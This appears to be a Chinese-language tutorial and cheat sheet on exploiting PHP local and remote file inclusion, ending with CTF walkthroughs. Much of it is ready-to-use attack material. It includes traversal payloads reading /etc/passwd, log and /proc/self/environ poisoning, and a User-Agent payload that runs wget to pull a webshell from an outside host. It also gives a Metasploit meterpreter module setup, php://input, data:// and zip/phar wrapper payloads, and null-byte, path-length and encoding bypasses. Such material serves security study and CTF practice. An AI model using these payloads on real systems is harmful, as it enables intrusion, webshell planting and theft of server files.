原理
文件包含漏洞的產生原因是在通過 PHP 的函數引入文件時,由於傳入的文件名沒有經過合理的校驗,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入。
php 中引發文件包含漏洞的通常是以下四個函數:
1、include()
當使用該函數包含文件時,只有代碼執行到 include()
函數時才將文件包含進來,發生錯誤時只給出一個警告,繼續向下執行。
2、include_once()
功能和 include()
相同,區別在於當重復調用同一文件時,程序只調用一次。
3、require()
只要程序一執行就會立即調用文件,發生錯誤的時候會輸出錯誤信息,並且終止腳本的運行
4、require_once()
它的功能與 require()
相同,區別在於當重復調用同一文件時,程序只調用一次。
當使用這四個函數包含一個新文件時,該文件將作為 PHP 代碼執行,php 內核並不在意該被包含的文件是什么類型。所以如果被包含的是 txt 文件、圖片文件、遠程 url、也都將作為 PHP 代碼執行。這一特性,在實施攻擊時非常有用。
利用條件
(1) include 等函數通過動態執行變量的方式引入需要包含的文件;
(2)用戶能控制該動態變量。
分類
文件包含漏洞可以分為 RFI (遠程文件包含)和 LFI(本地文件包含漏洞)兩種。而區分他們最簡單的方法就是 php.ini 中是否開啟了allow_url_include。如果開啟 了我們就有可能包含遠程文件。
1、本地文件包含 LFI(Local File Include)
2、遠程文件包含 RFI(Remote File Include)(需要 php.ini 中 allow_url_include=on、allow_url_fopen = On)
在 php.ini 中,allow_url_fopen 默認一直是 On,而 allow_url_include 從 php5.2 之后就默認為 Off。
一、本地包含
包含同目錄下的文件
?file=test.txt
目錄遍歷:
?file=./../../test.txt
./
當前目錄 ../
上一級目錄,這樣的遍歷目錄來讀取文件
包含圖片木馬
命令行下執行:
copy x.jpg /b + s.php /b f.jpg
上傳 f.jpg、找到 f.jpg 路徑、包含 f.jpg
包含日志
利用條件:需要知道服務器日志的存儲路徑,且日志文件可讀。
很多時候,web 服務器會將請求寫入到日志文件中,比如說 apache。在用戶發起請求時,會將請求寫入 access.log,當發生錯誤時將錯誤寫入 error.log。默認情況下,日志保存路徑在 /var/log/apache2/
。
?file=../../../../../../../../../var/log/apache/error.log
1、提交如下請求,將 payload 插入日志
2、可以嘗試利用 UA 插入 payload 到日志文件
3、MSF 攻擊模塊
use exploit/unix/webapp/php_include
set rhost 192.168.159.128
set rport 80
set phpuri /index.php?file=xxLFIxx
set path http://172.18.176.147/
set payload php/meterpreter/bind_tcp
set srvport 8888
exploit -z
日志默認路徑
apache+Linux 日志默認路徑
/etc/httpd/logs/access_log
或者
/var/log/httpd/access log
apache+win2003 日志默認路徑
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS6.0+win2003 默認日志文件
C:/WINDOWS/system32/Logfiles
IIS7.0+win2003 默認日志文件
%SystemDrive%/inetpub/logs/LogFiles
nginx 日志文件在用戶安裝目錄的 logs 目錄下
如安裝目錄為 /usr/local/nginx
,則日志目錄就是在
/usr/local/nginx/logs
也可通過其配置文件 Nginx.conf,獲取到日志的存在路徑
/opt/nginx/logs/access.log
web 中間件默認配置
apache+linux 默認配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件
C:/Windows/System32/inetsrv/config/application/Host.config
包含 session
利用條件:session 文件路徑已知,且其中內容部分可控。
PHP 默認生成的 Session 文件往往存放在 /tmp 目錄下
/tmp/sess_SESSIONID
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
session 文件一般在 /tmp 目錄下,格式為 sess_[your phpsessid value]
,有時候也有可能在 /var/lib/php5
之類的,在此之前建議先讀取配置文件。在某些特定的情況下如果你能夠控制 session 的值,也許你能夠獲得一個 shell
包含 /proc/self/environ 文件
利用條件:
1、php 以 cgi 方式運行,這樣 environ 才會保持 UA 頭。
2、environ 文件存儲位置已知,且 environ 文件可讀。
姿勢:
proc/self/environ
中會保存 user-agent 頭。如果在 user-agent 中插入 php 代碼,則 php 代碼會被寫入到 environ 中。之后再包含它,即可。
?file=../../../../../../../proc/self/environ
選擇 User-Agent 寫代碼如下:
<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>
然后提交請求。
包含臨時文件
php 中上傳文件,會創建臨時文件。在 linux 下使用 /tmp 目錄,而在 windows 下使用 c:\winsdows\temp
目錄。在臨時文件被刪除之前,利用競爭即可包含該臨時文件。
由於包含需要知道包含的文件名。一種方法是進行暴力猜解,linux 下使用的隨機函數有缺陷,而 window 下只有 65535 中不同的文件名,所以這個方法是可行的。另一種方法 phpinfo 來獲取臨時文件的路徑以及名稱,然后臨時文件在極短時間被刪除的時候,需要競爭時間包含臨時文件拿到 webshell。
有防御的本地文件包含
審計中可見這樣的包含模版文件:
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
這段代碼指定了前綴和后綴:這樣就很“難”直接去包含前面提到的種種文件。
1、%00 截斷
能利用 00 截斷的場景現在應該很少了
PHP 內核是由 C 語言實現的,因此使用了 C 語言中的一些字符串處理函數。在連接字符串時,0 字節 (\x00) 將作為字符串的結束符。所以在這個地方,攻擊者只要在最后加入一個 0 字節,就能截斷 file 變量之后的字符串。
?file=../../../../../../../../../etc/passwd%00
需要 magic_quotes_gpc=off,PHP 小於 5.3.4 有效
2、%00 截斷目錄遍歷:
?file=../../../../../../../../../var/www/%00
需要 magic_quotes_gpc=off,unix 文件系統,比如 FreeBSD,OpenBSD,NetBSD,Solaris
3、路徑長度截斷:
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
php 版本小於 5.2.8 可以成功,linux 需要文件名長於 4096,windows 需要長於 256
利用操作系統對目錄最大長度的限制,可以不需要 0 字節而達到截斷的目的。
我們知道目錄字符串,在 window 下 256 字節、linux 下 4096 字節時會達到最大值,最大值長度之后的字符將被丟棄。
而利用 "./" 的方式即可構造出超長目錄字符串:
4、點號截斷:
?file=../../../../../../../../../boot.ini/………[…]…………
php 版本小於 5.2.8 可以成功,只適用 windows,點號需要長於 256
5、編碼繞過
服務器端常常會對於 ../
等做一些過濾,可以用一些編碼來進行繞過。下面這些總結來自《白帽子講 Web 安全》。
利用 url 編碼:
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e\
二次編碼:
../ -》 %252e%252e%252f
..\ -》 %252e%252e%255c
二、遠程文件包含
?file=[http|https|ftp]://www.bbb.com/shell.txt
可以有三種,http、https、ftp
有防御的遠程文件包含
<?php
$basePath = $_GET['path'];
require_once $basePath . "/action/m_share.php";
?>
攻擊者可以構造類似如下的攻擊 URL
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php? =http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php%23
產生的原理:
/?path=http://localhost/test/solution.php?
最終目標應用程序代碼實際上執行了:
require_once "http://localhost/test/solution.php?/action/m_share.php";
注意,這里很巧妙,問號 "?" 后面的代碼被解釋成 URL 的 querystring,這也是一種"截斷"思想,和 %00 一樣
攻擊者可以在 http://localhost/test/solution.php 上模擬出相應的路徑,從而使之吻合
PHP 中的封裝協議(偽協議)
http://cn2.php.net/manual/zh/wrappers.php
file:///var/www/html 訪問本地文件系統
ftp://<login>:<password>@<ftpserveraddress> 訪問 FTP(s) URLs
data:// 數據流
http:// — 訪問 HTTP(s) URLs
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流
zlib:// — 壓縮流
data:// — Data (RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — 處理交互式的流
利用 php 流 input:
利用條件:
1、allow_url_include = On。
2、對 allow_url_fopen 不做要求。
index.php?file=php://input
POST:
<? phpinfo();?>
結果將在 index.php 所在文件下的文件 shell.php 內增加 "<?php phpinfo();?>" 一句話
利用 php 流 filter:
?file=php://filter/convert.base64-encode/resource=index.php
通過指定末尾的文件,可以讀取經 base64 加密后的文件源碼,之后再 base64 解碼一下就行。雖然不能直接獲取到 shell 等,但能讀取敏感文件危害也是挺大的。
其他姿勢:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,少了 read 等關鍵字。在繞過一些 waf 時也許有用。
利用 data URIs:
利用條件:
1、php 版本大於等於 php5.2
2、allow_url_fopen = On
3、allow_url_include = On
利用 data://
偽協議進行代碼執行的思路原理和 php://
是類似的,都是利用了 PHP 中的流的概念,將原本的 include 的文件流重定向到了用戶可控制的輸入流中
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64,base64編碼的payload
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加號 + 的 url 編碼為 %2b,PD9waHAgcGhwaW5mbygpOz8+ 的 base64 解碼為:<?php phpinfo();?>
需要 allow_url_include=On
利用 XSS 執行任意代碼:
?file=http://127.0.0.1/path/xss.php?xss=phpcode
利用條件:
1、allow_url_fopen = On
2、並且防火牆或者白名單不允許訪問外網時,先在同站點找一個 XSS 漏洞,包含這個頁面,就可以注入惡意代碼了。條件非常極端和特殊
glob:// 偽協議
glob:// 查找匹配的文件路徑模式
phar://
利用條件:
1、php 版本大於等於 php5.3.0
姿勢:
假設有個文件 phpinfo.txt,其內容為 <?php phpinfo(); ?>
,打包成 zip 壓縮包,如下:
指定絕對路徑
index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
或者使用相對路徑(這里 test.zip 就在當前目錄下)
index.php?file=phar://test.zip/phpinfo.txt
zip://
利用條件:
1、php 版本大於等於 php5.3.0
<?php
$file = $_GET['file'];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
include($file);
}
?>
截取過來的后面 4 格字符,判斷是不是 jpg,如果是 jpg 才進行包含
但使用 zip 協議,需要指定絕對路徑,同時將 #
編碼為 %23
,之后填上壓縮包內的文件。
然后我們構造 zip://php.zip#php.jpg
index.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23php.jpg
注意事項:
1、若是使用相對路徑,則會包含失敗。
2、協議原型:zip://archive.zip#dir/file.txt
3、注意 url 編碼,因為這個 # 會和 url 協議中的 # 沖突
CTF 中的文件包含套路
php 偽協議讀取源碼
點擊 login,發現鏈接變為:
http://54.222.188.152:1/index.php?action=login.php
推測文件包含 訪問:
http://54.222.188.152:1/index.php?action=php://filter/read=convert.base64-encode/resource=login.php
得到源碼
貪婪包含
iscc2018 的一道題目,打開題目
查看源碼
知道這里調用 show.php?img=1.jpg
訪問,並修改 1 的值
大概可以猜測 文件包含漏洞,嘗試
img=php://filter/read=convert.base64-encode/resource=show.php
但是不行
題目的坑點在於還需要包含 jpg,這就是貪婪包含所在,也就是后台某處代碼所致,
curl http://118.190.152.202:8006/show.php?img=php://filter/resource=jpg/resource=show.php
<?php
error_reporting(0);
ini_set('display_errors','Off');
include('config.php');
$img = $_GET['img'];
if(isset($img) && !empty($img))
{
if(strpos($img,'jpg') !== false)
{
if(strpos($img,'resource=') !== false && preg_match('/resource=.*jpg/i',$img) === 0)
{
die('File not found.');
}
preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
if(isset($matches[1]))
{
$img = $matches[1];
}
header('Content-Type: image/jpeg');
$data = get_contents($img);
echo $data;
}
else
{
die('File not found.');
}
}
else
{
?>
<img src="1.jpg">
<?php
}
?>
1、開頭包含了 config.php
2、img 必須有 jpg 但又不能有 resource=.*jpg
3、正則檢查了並把結果填充到 $matches 里去,說明我們可以使用 php://filter
偽協議,並且 resource 的值不含|,那么我們就可以用| 來分隔 php 和 jpg,因為正則匹配到| 就不會繼續匹配后面的 jpg 了,使得 \$img=show.php
知道了 config.php 再去訪問明白為什么必須包含 jpg
<?php
function get_contents($img)
{
if(strpos($img,'jpg') !== false)
{
return file_get_contents($img);
}
else
{
header('Content-Type: text/html');
return file_get_contents($img);
}
}
?>
最終 payload:
http://118.190.152.202:8006/show.php?img=php://filter/resource=../flag.php|jpg
%00 截斷
要求:
1、php 版本小於 5.3.4
2、magic_quotes_gpc 為 off 狀態
大多數的文件包含漏洞都是需要截斷的,因為正常程序里面包含的文件代碼一般是 include(BASEPATH.$mod.’.php’) 或者 include($mod.’.php’) 這樣的方式,如果我們不能寫入 .php 為擴展名的文件,那我們是需要截斷來利用的受限與 gpc 和 addslashes 等函數的過濾,另外,php5.3 之后的版本全面修復了 %00 截斷的問題
<?php
include($_GET['a'].'.php')
?>
上傳我們的 2.txt 文件,請求
http://localhost/test/1.php?a=2.txt%00
即可執行 2.txt 中 phpinfo 的代碼
列子二
漏洞文件 index.php
<?php
if (empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
include $filename;
}
?>
flag 文件放在上層目錄
這里限制了后綴名,我們需要通過截斷才能訪問到 flag 文件 利用代碼:
index.php?file=../../flag.php%00
%00 會被解析為 0x00,所以導致截斷的發生 我們通過截斷成功的繞過了后綴限制
路徑長度截斷
我們現在已經知道使用 %00 截斷有兩個條件 php 版本小於 5.3.4 和 magic_quotes_gpc 為 off 狀態。 如果這時我們將 magic_quotes_gpc 改為 on 那么就不能截斷了,因為開啟 magic_quotes_gpc 后 %00 會被加上一個反斜杠轉義掉
那么我們這時候有沒有辦法繞過這個限制呢?有一個條件那就是 php 版本小於 5.3.10 我們的代碼依舊不變 漏洞文件 index.php
<?php
if (empty($_GET["file"])){
echo('../flag.php');
return;
}
else{
$filename='pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").'.html';
include $filename;
}
?>
flag 文件放在上層目錄 這時我們可以使用字符 ./.
和 ./
來進行繞過,因為文件路徑有長度限制
windows 259 個 bytes
linux 4096 個 bytes
在 windows 下需要.字符最少的利用 POC1:
file=../../flag.php..............................................................................................................................................................................................................................................
在 windows 下需要.字符最少的利用 POC2:
file=../../flag.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
將 flag.php 改為 flag1.php 在 windows 下需要.字符最少的利用 POC3:
file=../../flag1.php/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
我們發現在使用 payload3 時將文件名改為了 flag1.php,而 payload2 和 payload3 則是一個.開始,一個 / 開始。 這和文件長度的奇偶性有關,當為偶數的時候我們選擇 payload2,為奇數的時候我們選擇 payload3
Refer:
檸檬師傅:
https://www.cnblogs.com/iamstudy/articles/include_file.html
腹黑師傅:
https://zhuanlan.zhihu.com/p/27739315